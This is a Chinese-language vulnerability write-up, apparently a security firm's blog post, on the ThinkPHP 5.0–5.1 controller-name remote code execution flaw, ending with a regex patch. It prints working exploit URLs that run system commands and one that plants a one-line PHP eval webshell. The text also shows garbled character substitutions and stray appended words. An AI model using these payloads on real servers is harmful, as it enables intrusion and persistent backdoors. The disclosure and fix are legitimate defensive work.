THINKPHP漏洞修复,官方于近日,对现有的thinkphp5.0到5.1全部版本进行了升级,以及补丁更新,此次更新主要是进行了一些漏洞修复,最严重的就是以前存在的SQL注入漏洞,以及远程代码执行查询系统的漏洞都进行了修复,官方本觉得没有问题了,可是在实际的安全检测当中发现,仍是存在问题,仍是能够远程代码进行注入,插入非法字符,提交到服务器后端中去。php
关于此次发现的oday漏洞,咱们来看下官方以前更新的代码文件是怎么样的,更新的程序文件路径是library文件夹下的think目录里的app.php,以下图:mysql
漏洞产生的缘由就在于这个控制器这里,整个thinkphp框架里的功能对控制器没有进行严格的安全过滤于检查,使攻击者能够伪造恶意参数进行强制插入,最根本的缘由就是正则的表达式写的很差,致使能够绕过。sql
在controller获取控制器后,直接进行赋值,可是并无对控制器的名进行严格的检测,致使可使用斜杠等特殊符号来远程代码注入。thinkphp
咱们来搭建一下网站的环境,apache+mysql+Linux centos系统,搭建好的测试环境地址是http://127.0.01/anquan ,咱们能够直接在index.php后面伪造攻击参数,示例以下:shell
http://127.0.0.1/anquan/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20-lapache
直接get方式提交到网站中去,能够直接查询到网站当前根目录的全部文件,截图以下:后端
经过该漏洞也能够直接远程代码注入执行phpinfo语句,查询当前的php版本,路径,扩展,以及php.ini存放的地址,均可以看获得,构造以下代码便可。centos
http://127.0.0.1/anquan/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20'phpinfo();'php框架
有些人可能会问了,既然均可以phpinfo,查询目录文件,可不能够getshell写网站木马文件到网站里呢? 答案是能够的,咱们测试的时候是以一句话木马代码的写入到safe.php文件里。安全
http://127.0.0.1/anquan/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27<?php%20@eval($_GET["cmd"]);?>%27%20>%20safe.php
关于此次thinkphp的漏洞利用以及分析到此就结束了,该漏洞属于高危漏洞,危害严重性较大,不少升级更新补丁的网站都会受到攻击,甚至有些网站会被挂马,那么该如何修复thinkphp的漏洞呢?替换以前的正规则表达式便可,还须要对网站的目录进行权限部署,防止生成php文件,对网站上的漏洞进行修复,或者是对网站安全防御参数进行从新设置,使他符合当时的网站环境。若是不懂如何修复网站漏洞,也能够找专业的网站安全公司来处理,国内如Sinesafe和绿盟、启明星辰等安全公司比较专业.
针对于这个状况,咱们要对其library/think/App.php代码里的正规则表达式进行更改,if (!preg_match('/^[A-Za-z][\w\.]*$/', $controller)) { throw new HttpException(404, 'controller not exists:' . $controller); }